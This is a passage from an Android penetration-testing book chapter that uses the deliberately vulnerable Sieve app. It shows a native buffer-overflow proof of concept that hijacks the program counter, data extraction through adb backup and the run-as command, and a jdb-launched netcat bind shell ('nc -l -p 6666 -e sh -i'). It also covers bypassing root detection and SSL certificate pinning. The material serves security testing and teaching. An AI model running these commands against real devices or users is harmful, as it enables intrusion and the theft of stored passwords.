To find out what a native library is doing without having the application’s source code, you would have to reverse engineer the library using a tool like IDA (see https://www.hex-rays.com/products/ida/). You should audit these libraries for common vulnerabilities found in C/C++ applications. Multiple publications and many other resources are available on finding vulnerabilities that allow for the execution of arbitrary code. Therefore, this chapter does not delve into any of these issues. Applications could also contain third-party libraries, such as OpenSSL. During the timespan available in a normal assessment of an application, trying to find new vulnerabilities in a large third-party library would likely not be feasible. Instead, find the version of the library in use by searching for indicators in IDA, or using another known way to find it that is unique to the library. Finding the version in use and searching on the Internet could lead to the discovery of already-disclosed vulnerabilities for that version. Vulnerabilities in these components could perhaps be used as an attack path into the application.

The Sieve application contains two custom libraries that are used for the encryption and decryption of passwords stored in the password manager. The names of these libraries are libencrypt.so and libdecrypt.so. You can see these libraries being loaded inside CryptoService.java and their available functions defined:

static 
{ 
    System.loadLibrary("encrypt"); 
    System.loadLibrary("decrypt"); 
} 
 
... 
 
private native String runNDKdecrypt(String paramString, 
byte[] paramArrayOfByte); 
 
private native byte[] runNDKencrypt(String paramString1, 
String paramString2); 

Tracing these functions back to where they are used inside the Sieve application reveals a path into this code that accepts user input. Particularly, it is used by the exposed CryptoService service. This means that parameters that can be passed directly into this code have the potential to exploit vulnerabilities in the native code.

The only aspect missing to make this a complete attack vector is a vulnerability in one of these native functions. Let us examine libencrypt.so and attempt to find exploitable vulnerabilities. Figure 7.14 shows loading this file into IDA (even the free version supports ARM).

images

Figure 7.14 Loading libencrypt.so into IDA

Looking for the runNDKencrypt function reveals that it has been named Java_com_mwr_example_sieve_CryptoService_runNDKencrypt in IDA. Click this function and press the spacebar key to put IDA into graph mode, which may be easier for visualizing the flow of the code. Careful inspection reveals a vulnerable memcpy implementation in the code. Finding the exact disassembly that shows this vulnerability will be left as an exercise for you. Instead we translate this back to C++ code and examine it further from there:

const char* key_userinput = (*env)->GetStringUTFChars(env, jkey, 0); 
 
int key_len = strlen(key_userinput); 
uint32_t key[4]; 
 
memcpy(key, key_userinput, sizeof(char) * key_len); 

The vulnerability in the previous code is that user input is used inside the memcpy operation, and the length of the user input is used to determine how many bytes to copy into the key variable. If the user provides a key length of anything more than 4, a buffer overflow occurs. The vulnerable code can be reached by interacting with the exported CryptoService examined earlier in this chapter. You can see a proof of concept that triggers this vulnerability by sending an overly long com.mwr.example.sieve.KEY extra to the CryptoService:

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve 
.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY 
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 
zzzzzzzzzzzzzzzzzzzzzAAAAzzzz 
--extra string com.mwr.example.sieve.STRING "string to be encrypted" 
--bundle-as-obj 
Did not receive a reply from 
com.mwr.example.sieve/com.mwr.example.sieve.CryptoService. 

Viewing what happens in logcat reveals the following:

F/libc    ( 5196): Fatal signal 11 (SIGSEGV) at 0x41414141 (code=1), 
thread 5209 (m_CryptoService) 
I/DEBUG   (   49): *** *** *** *** *** *** *** *** *** *** *** *** *** 
I/DEBUG   (   49): Build fingerprint: 'generic/sdk/generic:4.4.2/KK/9380 
07:eng/test-keys' 
I/DEBUG   (   49): Revision: '0' 
I/DEBUG   (   49): pid: 5196, tid: 5209, name: m_CryptoService  >>> 
com.mwr.example.sieve:remote <<< 
I/DEBUG   (   49): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 
 41414141 
I/DEBUG   (   49):     r0 b807bb68  r1 a8db7a0e  r2 ffffffee  r3 
41414141 
I/DEBUG   (   49):     r4 b5b09e01  r5 00000004  r6 00000000  r7 
a8db7a30 
I/DEBUG   (   49):     r8 a8db7a28  r9 abb9ded0  sl b807b158  fp 
a8db7adc 
I/DEBUG   (   49):     ip 80000000  sp a8db79e0  lr a8e41f07  pc 
a8e41f08  cpsr 60000030 
I/DEBUG   (   49):     d0  3f80000040000000  d1  3f50624d40000000 
I/DEBUG   (   49):     d2  7e37e43c8800759c  d3  7e37e43c8800759c 
I/DEBUG   (   49):     d4  8000000000000000  d5  3f40000042810000 
I/DEBUG   (   49):     d6  3fc999999999999a  d7  3f80000000000000 
I/DEBUG   (   49):     d8  0000000000000000  d9  0000000000000000 
I/DEBUG   (   49):     d10 0000000000000000  d11 0000000000000000 
I/DEBUG   (   49):     d12 0000000000000000  d13 0000000000000000 
I/DEBUG   (   49):     d14 0000000000000000  d15 0000000000000000 
I/DEBUG   (   49):     scr 60000010 
I/DEBUG   (   49): 
I/DEBUG   (   49): backtrace: 
I/DEBUG   (   49):     #00  pc 00000f08  /data/app-lib/com.mwr.example 
.sieve-1/libencrypt.so (Java_com_mwr_example_sieve_CryptoService_ 
runNDKencrypt+531) 
... 
I/DEBUG   (   49):          a8db7a0c  d8dc5d7b 
I/DEBUG   (   49):          a8db7a10  b5b09e01  /system/lib/libdvm.so 
I/DEBUG   (   49):          a8db7a14  b807b148  [heap] 
I/DEBUG   (   49):          a8db7a18  7a7a7a7a 
I/DEBUG   (   49):          a8db7a1c  7a7a7a7a 
I/DEBUG   (   49):          ........  ........ 
I/DEBUG   (   49):     #01  a8db7ac8  abb9decc 
I/DEBUG   (   49):          a8db7acc  00000001 
... 
I/DEBUG   (   49): memory near r0: 
I/DEBUG   (   49):     b807bb48 00000000 00000000 00000000 00000000 
I/DEBUG   (   49):     b807bb58 00000000 00000000 00000000 0000003b 
I/DEBUG   (   49):     b807bb68 a0c58026 3dd0d7d5 a8c9c62c 1c7c59bb 
I/DEBUG   (   49):     b807bb78 c7920389 0021b22f fbb2801a 4884621f 
I/DEBUG   (   49):     b807bb88 c54c3f0a 6c005d7b 00000065 00000000 
I/DEBUG   (   49):     b807bb98 00000038 0000003b 00000000 00000000 
I/DEBUG   (   49):     b807bba8 00000000 00000000 00000000 00000000 
I/DEBUG   (   49):     b807bbb8 00000000 00000000 00000000 00010001 
I/DEBUG   (   49):     b807bbc8 00000000 0000001a 646e614c 00000073 
I/DEBUG   (   49):     b807bbd8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     b807bbe8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     b807bbf8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     b807bc08 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     b807bc18 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     b807bc28 7a7a7a7a 7a7a7a7a 7a7a7a7a 41414141 
I/DEBUG   (   49):     b807bc38 7a7a7a7a 00650000 0073002f 00000023 
... 
I/DEBUG   (   49): memory near sp: 
I/DEBUG   (   49):     a8db79c0 a8db7a30 a8db7a28 abb9ded0 b807b158 
I/DEBUG   (   49):     a8db79d0 a8db7adc b807bb68 b5b09e01 a8e41f07 
I/DEBUG   (   49):     a8db79e0 a8db7adc b5b09e7d a0c58026 3dd0d7d5 
I/DEBUG   (   49):     a8db79f0 a8c9c62c 1c7c59bb c7920389 0021b22f 
I/DEBUG   (   49):     a8db7a00 fbb2801a 4884621f c54c3f0a d8dc5d7b 
I/DEBUG   (   49):     a8db7a10 b5b09e01 b807b148 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     a8db7a20 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     a8db7a30 7a7a7a7a 00000000 0000000a 00000000 
I/DEBUG   (   49):     a8db7a40 7a7a7a7a 00000000 0000000a 00000000 
I/DEBUG   (   49):     a8db7a50 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     a8db7a60 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a 
I/DEBUG   (   49):     a8db7a70 7a7a7a7a 41414141 00000026 0000000a 
I/DEBUG   (   49):     a8db7a80 b807bbd8 00000064 b807bc48 00000016 
I/DEBUG   (   49):     a8db7a90 00000003 a8db7a18 00000009 a8db79e8 
I/DEBUG   (   49):     a8db7aa0 b807bb68 00000000 c54c3f0a d8dc5d7b 
I/DEBUG   (   49):     a8db7ab0 a8db7ac8 af6357d0 b807b148 00000004 
I/DEBUG   (   49): 
... 
I/DEBUG   (   49): 
I/DEBUG   (   49): memory map around fault addr 41414141: 
I/DEBUG   (   49):     (no map below) 
I/DEBUG   (   49):     (no map for address) 
I/DEBUG   (   49):     a8b41000-a8cb8000 r-x /dev/ashmem/dalvik-jit-code 
-cache (deleted) 

The sequence AAAA translates to 41414141 in hex. This is used inside the supplied extra at a strategic position and results in the CPU attempting to jump to this location, thus causing an error condition which the system reports. This is a user-supplied address that comes directly from what we sent to this service from another application. This basic buffer overflow vulnerability shows how the triggering of such a condition can be viewed in logcat.

Attaching a Debugger

To start the exploitation process, attaching a debugger to the application at the time of the crash is essential. Android contains a Just-In-Time debugging feature that you can use for this purpose. To configure this feature, find the UID of the target application. Do this in drozer by observing the output of the app .package.info module:

dz> run app.package.info -a com.mwr.example.sieve 
Package: com.mwr.example.sieve 
  Application Label: Sieve 
  Process Name: com.mwr.example.sieve 
  Version: 1.0 
  Data Directory: /data/data/com.mwr.example.sieve 
  APK Path: /data/app/com.mwr.example.sieve-1.apk 
  UID: 10053 
  GID: [1028, 1015, 3003] 
  Shared Libraries: null 
  Shared User ID: null 
  Uses Permissions: 
  - android.permission.READ_EXTERNAL_STORAGE 
  - android.permission.WRITE_EXTERNAL_STORAGE 
  - android.permission.INTERNET 
  Defines Permissions: 
  - com.mwr.example.sieve.READ_KEYS 
  - com.mwr.example.sieve.WRITE_KEYS 

You can now issue a command via an ADB shell that sets a property that causes a JIT debugger to attach to a crashed process with UID <= 10053 (from the discovered application UID):

$ adb shell setprop debug.db.uid 10053 

Causing the crash in Sieve again reveals the following in logcat:

... 
I/DEBUG   (   49): ******************************************************** 
I/DEBUG   (   49): * Process 5345 has been suspended while crashing.  To 
I/DEBUG   (   49): * attach gdbserver for a gdb connection on port 5039 
I/DEBUG   (   49): * and start gdbclient: 
I/DEBUG   (   49): * 
I/DEBUG   (   49): *     gdbclient app_process :5039 5345 
I/DEBUG   (   49): * 
I/DEBUG   (   49): * Wait for gdb to start, then press HOME or VOLUME DOWN key 
I/DEBUG   (   49): * to let the process continue crashing. 
I/DEBUG   (   49): ******************************************************** 

This shows that the process has been suspended and is available for debugging. You can attach a gdbserver to this process as follows:

$ adb shell gdbserver :5039 --attach 5345 
Attached; pid = 5345 
Listening on port 5039 

It is now listening on port TCP/5039 for a debugging client to connect to it. This listening port should be forwarded:

$ adb forward tcp:5039 tcp:5039 

You can find a special architecture-specific GDB client in the Android NDK (see https://developer.android.com/tools/sdk/ndk/index.html) and use it to attach to the gdbserver that is holding the crashed process. In this example, we used a normal ARM-based emulator and so we make use of the “armeabi” GDB client:

$ cd /path/to/android-ndk-r9d/toolchains/ 
$ arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gdb 
GNU gdb (GDB) 7.3.1-gg2 
Copyright (C) 2011 Free Software Foundation, Inc. 
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> 
This is free software: you are free to change and redistribute it. 
There is NO WARRANTY, to the extent permitted by law.  Type "show copying" 
and "show warranty" for details. 
This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android". 
For bug reporting instructions, please see: 
<http://source.android.com/source/report-bugs.html>. 
(gdb) target remote :5039 
Remote debugging using :5039 
0xb6f645cc in ?? () 
(gdb) 

After it is successfully attached, the iterative process of crafting an exploit for this issue can begin. The exploitation of this issue is out of the scope of this chapter. A thorough understanding of the architecture on which you are writing the exploit (typically ARM on most Android devices) and knowledge of common exploitation techniques is required. Chapter 8 shows the end product of exploiting an application using native code and the tools that you can use post-exploitation. Exploiting this issue on a modern version of Android using exploit mitigations such as stack canaries, NX, and full ASLR presents a huge challenge to any attacker. On older versions of Android, a skilled exploit writer can still create an exploit for this issue with relative ease.

You can use other debuggers in the exploitation process. A paid option could be the android_server and debugging capabilities provided by IDA Pro. A free debugger that has the look and feel of OllyDbg (a popular debugger for Windows) is also available at http://www.gikir.com/. However, many exploit developers prefer to just use GDB because it provides very powerful functionality. Bewareit is renowned for its intimidating command-line interface for beginners.

Exploiting Misconfigured Package Attributes

Many attributes are available to set in the <application> tag found in the AndroidManifest.xml of an application. All of these attributes may look harmless to the untrained eye. This section focuses on two attributes that have a significant impact on the security of an application.

Application Backups

Since Android 4.0, backing up all applications, their data, and other shared data on the device (on an SD card for example) on a non-rooted device is possible. The manifest attribute that controls whether a backup of the application data is allowed or not is android:allowBackup. However, the default value of this attribute is true. This is great from a usability point of view because application developers who are not even aware of this attribute can still allow people using their app to back up their application data. From a security perspective, this also means that application developers who are not aware of this attribute will allow the exposure of their application data if physical access to a device running their application is obtained. To find applications that allow backups to be made, use the app.package.backup drozer module. If a particular application is of interest (like Sieve), you can use the module in the following manner:

dz> run app.package.backup -f com.mwr.example.sieve 
Package: com.mwr.example.sieve 
  UID: 10053 
  Backup Agent: null 
  API Key: Unknown 

The output shows that the android:allowBackup attribute is set to true for the application and that the contents of its private data directory can be dumped using ADB. If the android:backupAgent attribute is set in the manifest, it points to the class that extends BackupAgent and allows the developer to control this functionality to a greater degree. If an application makes use of a custom backup agent, you would need to review the code of the class stated in the manifest.

To back up an application, use the adb backup feature. To perform this action on Sieve you use the following command:

$ adb backup com.mwr.example.sieve 
Now unlock your device and confirm the backup operation. 

After this, an activity launches and asks you to specify an encryption key. Leave the key field blank and tap Back Up My Data. Figure 7.15 shows the presented activity.

images

Figure 7.15 The application backup activity

A file named backup.ab will be placed in your current working directory on your computer. The file format is a TAR file that makes use of a DEFLATE algorithm for compression. This peculiar combination of algorithms has been the subject of many forum posts. Nikolay Elenkov posted a simple way to convert an AB file back to a TAR file at http://nelenkov.blogspot.de/2012/06/unpacking-android-backups.html. You can use the simple one-liner provided in that article on the backup.ab file as shown here:

$ dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar 
88+1 records in 
88+1 records out 
2135 bytes (2.1 kB) copied, 0.000160038 s, 13.3 MB/s 
 
$ tar xvf backup.tar 
apps/com.mwr.example.sieve/_manifest 
apps/com.mwr.example.sieve/db/database.db-journal 
apps/com.mwr.example.sieve/db/database.db 
apps/com.mwr.example.sieve/ef/Backup (2014-05-27 18-16-14.874).xml 

This exposes all the application databases, any other files that reside in the application’s data directory, and the contents of the application data directory on the SD card (/sdcard/Android/data/com.mwr.example.sieve/). This once again emphasizes the importance of implementing encryption for files that remain on disk, even when they are assumed to be protected.

You can use a tool named Android Backup Extractor to automate this instead of using hairy one-liners. Find it at https://github.com/nelenkov/android-backup-extractor.

In summary, an attacker with physical access to a device can get the data that resides in an application’s private data directory provided that the application allows backups.

Debuggable Flag

During development an application needs to have a flag set in its manifest to tell the OS that a debugger is allowed to attach to it. You can see this as an attribute in the <application> element in the manifest as android:debuggable and set it to true or false. If this attribute does not exist in the manifest, the application is not debuggable as this value defaults to false. If this value is set to true, whenever this application is active in any form, it is looking for a UNIX socket named @jdwp-control. This socket is opened by the ADB server when USB debugging is enabled.

To check whether an installed application is debuggable or not, in drozer use the app.package.debuggable module. This module, as shown here, finds all debuggable packages on a device:

dz> run app.package.debuggable 
... 
Package: com.mwr.example.sieve 
  UID: 10053 
  Permissions: 
   - android.permission.READ_EXTERNAL_STORAGE 
   - android.permission.WRITE_EXTERNAL_STORAGE 
   - android.permission.INTERNET 
... 

Having an application that is set as debuggable is dangerous and can cause the exposure of the application’s file as well as the execution of arbitrary code in the context of the application. This can be especially dangerous if the debuggable application holds powerful permissions or runs as a privileged user.

In general, applications with the debuggable flag set can be exploited with physical access to a device that has USB debugging enabled. To see which applications are active and connected to the debugging @jdwp-control socket, use ADB as follows:

$ adb jdwp 
4545 
4566 

This adb jdwp command gives the PIDs of the processes that you can debug. To map these to actual packages on the device, you can use a simple combination of ps and grep:

$ adb shell ps | grep "4545\|4566" 
app_115   4545  2724  147000 22612 ffffffff 00000000 S com.mwr.dz 
app_115   4566  2724  144896 22324 ffffffff 00000000 S com.mwr.dz:remote 

This shows that only the drozer package can actively be debugged at this time. The only reason that this shows is because the drozer service was running at the time that the device was queried. Only applications that are active in some way will connect to the @jdwp-control socket; you would have to manually start other debuggable applications that are discovered to connect to the debugger. For instance, to start the Sieve application’s main activity (we saw earlier that Sieve was debuggable) you could use the following command:

$ adb shell am start -n com.mwr.example.sieve/.MainLoginActivity 
Starting: Intent { cmp=com.mwr.example.sieve/.MainLoginActivity } 

Now if you run the adb jdwp command again and find the associated packages, Sieve is available to debug:

$ adb jdwp 
4545 
4566 
5147 
5167 
 
$ adb shell ps | grep "5147\|5167" 
app_127   5147  2724  145400 19944 ffffffff 00000000 S 
com.mwr.example.sieve 
app_127   5167  2724  141016 15652 ffffffff 00000000 S 
com.mwr.example.sieve:remote 

The easiest way to exploit a debuggable application with physical access to a device is by making use of the run-as binary. This binary makes it possible to execute commands as the debuggable package on the device. The run-as binary uses setresuid() and setresgid() to change from the “shell” user to the application’s useras long as the following conditions are met:

  • The caller is shell or root.
  • The target package does not run as system.
  • The target package is debuggable.

To get an interactive shell as the Sieve application user, you can use the run-as command with the full package name as its parameter:

$ adb shell 
shell@android:/ $ run-as com.mwr.example.sieve 
shell@android:/data/data/com.mwr.example.sieve $ 

Note that as part of the initiation of the run-as binary, the user is placed inside the target application’s private data directory. You can also use the run-as binary to execute a command and return immediately:

$ adb shell run-as com.mwr.example.sieve ls -l databases 
-rw-rw---- u0_a53   u0_a53      24576 2014-05-27 19:28 database.db 
-rw------- u0_a53   u0_a53      12824 2014-05-27 19:28 database.db-journal 

The preceding shows the exposure of the Sieve application’s private data directory. At this point you can execute any command and copy the crucial application files from the device or change them to be accessible from other applications using chmod. The following is a one-liner that you can use to dump the database (provided that sqlite3 exists and is on the path) that contains the master password as well as all the data entered into Sieve:

$ adb shell run-as com.mwr.example.sieve sqlite3 databases/database.db 
.dump 
PRAGMA foreign_keys=OFF; 
BEGIN TRANSACTION; 
CREATE TABLE android_metadata (locale TEXT); 
INSERT INTO "android_metadata" VALUES('en_US'); 
CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username 
TEXT,password BLOB,email ); 
INSERT INTO Passwords VALUES(1,'Gmail','tyrone',X'CC0EFA591F665110CD344C 
384D48A2755291B8A2C46A683987CE13','tyrone@gmail.com'); 
INSERT INTO Passwords VALUES(2,'Internet Banking','tyrone123',X'5492FBCE 
841D11EC9E610076FC302B94DBF71B59BE7E95821248374C5529514B62', 
'tyrone@gmail.com'); 
CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ); 
INSERT INTO Key VALUES('Thisismylongpassword123','1234'); 
COMMIT; 

This shows the complete exposure of an application’s private data directory if it is debuggable. Just to reiterate the point, normally on a non-rooted device the private data directory of the Sieve application is not accessible. Attempting to perform even a directory listing results in the following error:

shell@android:/ $ ls -l /data/data/com.mwr.example.sieve/databases 
opendir failed, Permission denied 

Another method of exploiting a debuggable application with physical access to the device is attaching a debugger to it. Attaching a debugger to an application allows complete control over the application, including the exposure of information being held in variables and can be extended to the execution of arbitrary code.

You can use ADB to expose a process that is debuggable over TCP so that it can be debugged using JDB (Java Debugger). Development IDEs use this technique to provide debugging information to the development runtime.

$ adb forward tcp:4444 jdwp:5147 

After this connection has been forwarded, use jdb to connect to it:

$ jdb -attach localhost:4444 
Set uncaught java.lang.Throwable 
Set deferred uncaught java.lang.Throwable 
Initializing jdb ... 
> 

At this point, you can control the flow of execution and manipulate the application in any way you please. In general, the reason an attacker would want to exploit a debuggable application would be to get to the files being protected by it. One of the most simple and reliable methods for running operating system commands as the debuggable application from within jdb was explained by Jay Freeman on his blog at http://www.saurik.com/id/17. The general steps to use his method are as follows:

  1. List all threads in the application.

    > threads 
    Group system: 
      (java.lang.Thread)0xc1b1db5408 <8> FinalizerWatchdogDaemon cond. waiting 
      (java.lang.Thread)0xc1b1db5258 <7> FinalizerDaemon         cond. waiting 
      (java.lang.Thread)0xc1b1db50f0 <6> ReferenceQueueDaemon    cond. waiting 
      (java.lang.Thread)0xc1b1db5000 <5> Compiler                cond. waiting 
      (java.lang.Thread)0xc1b1db4e20 <3> Signal Catcher          cond. waiting 
      (java.lang.Thread)0xc1b1db4d40 <2> GC                      cond. waiting 
    Group main: 
      (java.lang.Thread)0xc1b1addca8 <1> main                    running 
      (java.lang.Thread)0xc1b1db8bc8 <10> Binder_2               running 
      (java.lang.Thread)0xc1b1db8ad8 <9> Binder_1                running 
    > 
  2. Find the main thread and attach to it.

    > thread 0xc1b1addca8 
    <1> main[1] 
  3. Suspend the thread.

    <1> main[1] suspend 
    All threads suspended.
  4. Create a breakpoint on android.os.MessageQueue.next.

    <1> main[1] stop in android.os.MessageQueue.next 
    Set breakpoint android.os.MessageQueue.next 
  5. Run and cause the breakpoint to hit.

    <1> main[1] run 
    > 
    Breakpoint hit: "thread=<1> main", android.os.MessageQueue.next(), line= 
    129 bci=0 

    The breakpoint should immediately occur. If it does not, then you can cause it by interacting with the application in any way. Execute any operating system command:

    <1> main[1] print new java.lang.Runtime().exec("/data/local/tmp/busybox 
    nc -l -p 6666 -e sh -i") 
     new java.lang.Runtime().exec("/data/local/tmp/busybox nc -l -p 6666 -e 
    sh -i") = "Process[pid=5853]" 

In this case prior to exploitation a busybox binary was uploaded to /data/local/tmp and made accessible to all applications. We then invoked it to run the nc utility that binds a shell to TCP port 6666. To interact with this shell you forward TCP port 6666 to the attached computer and then use nc on the computer. The following shows these steps along with proof that access to the Sieve files has been obtained:

$ adb forward tcp:6666 tcp:6666 
$ nc localhost 6666 
sh: can't find tty fd: No such device or address 
sh: warning: won't have full job control 
u0_a53@generic:/ $ cd /data/data/com.mwr.example.sieve 
u0_a53@generic:/data/data/com.mwr.example.sieve $ ls -l 
drwxrwx--x u0_a53   u0_a53            2014-05-27 08:48 cache 
drwxrwx--x u0_a53   u0_a53            2014-05-27 08:48 databases 
lrwxrwxrwx install  install           2014-05-25 07:11 lib -> /data/app- 
lib/com.mwr.example.sieve-1 

Additional Testing Techniques

This section provides an overview of testing techniques and tools that you can use when tricky testing scenarios arise. Applications that have implemented layered security measures can be very difficult to test properly because these mechanisms stand in the way. Two examples of such situations are:

This section presents some scenarios that may arise and solutions that let you thoroughly test an application.

Patching Applications

One way to disable SSL certificate-pinned connections and root detection could be to disassemble the application, remove these features from the code, and then assemble the application again. One of the easiest tools to use to support this activity is apktool; Chapter 6 presents an overview of it. This method relies on a moderate level of knowledge of the smali format. A simple “Hello World” example is provided at https://code.google.com/p/smali/source/browse/examples/HelloWorld/HelloWorld.smali and is shown here:

.class public LHelloWorld; 
 
.super Ljava/lang/Object; 
 
.method public static main([Ljava/lang/String;)V 
    .registers 2 
 
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; 
 
    const-string    v1, "Hello World!" 
 
    invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/ 
    String;)V 
 
    return-void 
.end method 

To become comfortable with smali, it is useful to look at the Java code that represents a smali function being examined. This will be left as an exercise for the reader as becoming comfortable with smali is a matter of practicing and spending time with it.

Take an example of an application from the Play Store that checks and displays whether a device is rooted or not. You can attempt to patch it so that it always says the device is not rooted. The checks performed in this application will be roughly equivalent to what you would commonly find in an application with root detection code. You may use the Root Checker application (see https://play.google.com/store/apps/details?id=com.joeykrim.rootcheck&hl=en) for this example. Figure 7.16 shows running Root Checker on a rooted device.

images

Figure 7.16 Root Checker displaying that the device is rooted

Performing this patching exercise on the Root Checker application involves using apktool to convert the application back to smali code, searching for the functions that check for the “su” binary, and modifying them to fail the root check. Note that this exercise is only for testing purposes and the application will have a completely different cryptographic signature after the code has been modified and assembled again.

You can use the following command-line parameters with apktool to “baksmali” this application:

$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck 
I: Baksmaling... 
I: Loading resource table... 
I: Loaded. 
I: Decoding AndroidManifest.xml with resources... 
I: Loading resource table from file: /home/mahh/apktool/framework/1.apk 
I: Loaded. 
I: Regular manifest package... 
I: Decoding file-resources... 
I: Decoding values */* XMLs... 
I: Done. 
I: Copying assets and libs...

Now you can search for any string containing su using grep on the smali code:

$ grep -R -i "\"su\"" rootcheck 
rootcheck/smali/com/a/a/aa.smali:    const-string v7, "su" 
rootcheck/smali/com/joeykrim/rootcheck/t.smali:    const-string v1, "su" 

Using dex2jar and viewing the code in JD-GUI reveals that the code is heavily obfuscated. Here is the decompiled Java code that relates to com/joeykrim/rootcheck/t.smali:

package com.joeykrim.rootcheck; 
 
public final class t 
{ 
  public v a = new v(this, "sh"); 
  public v b = new v(this, "su"); 
} 

This is quite cryptic and hard to understand without doing further analysis. However, you may assume that it is trying to do something with the “su” binary on the device, such as execute it or check if it is on the PATH. Maybe if you change the “su” string in this function to “nonexistent” then it will try to check or execute “nonexistent” and this check will fail. You can assemble the modified contents back to an APK by using apktool again:

$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk 
I: Checking whether sources has changed... 
I: Smaling... 
I: Checking whether resources has changed... 
I: Building resources... 
I: Building apk file... 

You must use the same signing procedure as described in Chapter 6 to sign the APK so that it can be installed on a device:

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore 
mykey.keystore rootcheck-modified.apk alias_name 
Enter Passphrase for keystore: 
   adding: META-INF/MANIFEST.MF 
   adding: META-INF/ALIAS_NA.SF 
   adding: META-INF/ALIAS_NA.RSA 
  signing: res/color/common_signin_btn_text_dark.xml 
  ... 
  signing: AndroidManifest.xml 
  signing: classes.dex 
  signing: resources.arsc 

After installing the patched application and starting it, you should see that your patch worked. Figure 7.17 shows that the application no longer says that the device is rooted.

images

Figure 7.17 Root Checker now displaying that the device is not rooted

This was a simple example of how to patch an application to bypass certain conditions when testing and does not constitute a vulnerability in the Root Checker application. When cross-platform frameworks like PhoneGap (seehttp://phonegap.com/) are used, patching out functionality may even be easier because these checks are performed in JavaScript that come with the application. You can use apktool to disassemble the APK and allow you to change the JavaScript to suit your needs.

Manipulating the Runtime

Patching complicated functionality from an application can be time consuming and frustrating. However, another way exists that may be less time consuming and allow greater flexibility when testing. The concept of runtime manipulation will be very familiar to iOS hackers. On Android, this concept may not be as important for assessing application security. However, there are some distinct advantages to using tools that perform runtime patching of applications. These tools allow the use of low-level hooks when classes and methods are loaded. This means that patching the Root Checker application could have been done on the fly in memory while the application was running by writing an add-on for a runtime manipulation tool.

Two tools stand out in this space: Cydia Substrate by Jay Freeman and Xposed Framework by rovo89 (a user of the XDA Developers forum). Some typical use cases of when these tools are useful are also presented in this section. A plethora of add-ons to these tools make testing of applications easier. You should explore a host of these add-ons and build your own arsenal of tools that you feel are useful.

Tool: Xposed Framework

Xposed Framework was released in 2012 by a member of the XDA Developers forum named rovo89. Using root privileges, it provides functionality for hooking and modifying Android applications at runtime. It has become a very popular framework for the modding community, and an active community of developers is creating modules that alter all kinds of system behavior attributes. You can download it from http://repo.xposed.info/; the community forum is hosted at http://forum.xda-developers.com/xposed. The repository at http://repo.xposed.info/module-overview contains modules that can change the look and feel of the device in some way and there are some modules that may be useful for the testing of applications as well. Xposed works by providing a custom app_process binary and therefore can only modify code that is a forked from Zygote; for example, installed applications. This means that anything that has not been forked from Zygote is not possible to hook using Xposed, including native code.

Tool: Cydia Substrate

Cydia Substrate (previously known as Mobile Substrate) is a tool that was released in 2008 for Apple iOS devices and became wildly popular in the jailbreaking community. Since then, a version for Android was released in 2013 and is now available for download from the Play Store or from Jay Freeman’s website at http://www.cydiasubstrate.com/. It comes in the form of an APK and it requires root privileges to function. The Cydia Substrate application itself does not have any directly usable functionality. It merely provides the runtime hooking and modification functionality to other applications (also known as “extensions”). The techniques used for code injection are top notch, and in our opinion this tool is technically superior to the Xposed Framework. It can provide arbitrary modification of anything running on an Android device (including native code). For any runtime patching needs for security testing purposes, we recommend using Cydia Substrate.

Figure 7.18 shows the Cydia Substrate application installed and running on a rooted Android device.

images

Figure 7.18 The main activity of Cydia Substrate running on an Android device

Use Case: SSL Certificate Pinning

The Twitter (https://twitter.com/) application development team was an early adopter of SSL certificate pinning techniques on Android. The Twitter application does not proxy through an intercepting proxy such as Burp, even when the Burp CA certificate is installed on the device. This is expected behavior from a properly certificate-pinned application.

When the application attempts to load tweets, a toast pops up saying, “Cannot retrieve Tweets at this time. Please try again later.” This is well done from a security perspective because it does not give you any clues about what the problem is. Inspecting the source code closer reveals that certificate pinning code is implemented. If the need arose to assess some aspect of the underlying Twitter web API, you could go about it in various ways. The first option that comes to mind is patching the certificate pinning functions out of the code using the techniques explained in the previous section. However, this task can be tough. This is where runtime manipulation tools work wonderfully. A Cydia Substrate extension written by iSEC Partners, named Android SSL TrustKiller, is available that nullifies SSL checks at application runtime. It does all of this absolutely transparently using the method-hooking API from Cydia Substrate. You can download it from https://github.com/iSECPartners/Android-SSL-TrustKiller. After you install this application and then click Restart System (Soft) in the Cydia Substrate application, the system reboots and when it starts again all SSL worries are over. Figure 7.19 shows the Twitter application proxying through Burp.

images

Figure 7.19 Burp is able to proxy Twitter API traffic after loading Android SSL TrustKiller

Running logcat while starting the Twitter application reveals that it was SSL Trust Killer that made it possible to proxy it. You can see the output here:

I/SSLTrusKiller(13955): getTrustManagers() override 
I/SSLTrusKiller(13955): Hooking init in javax.net.ssl.SSLContext 
I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext 
I/SSLTrusKiller(13955): getTrustManagers() override 
I/SSLTrusKiller(13955): getTrustManagers() override 
I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext 
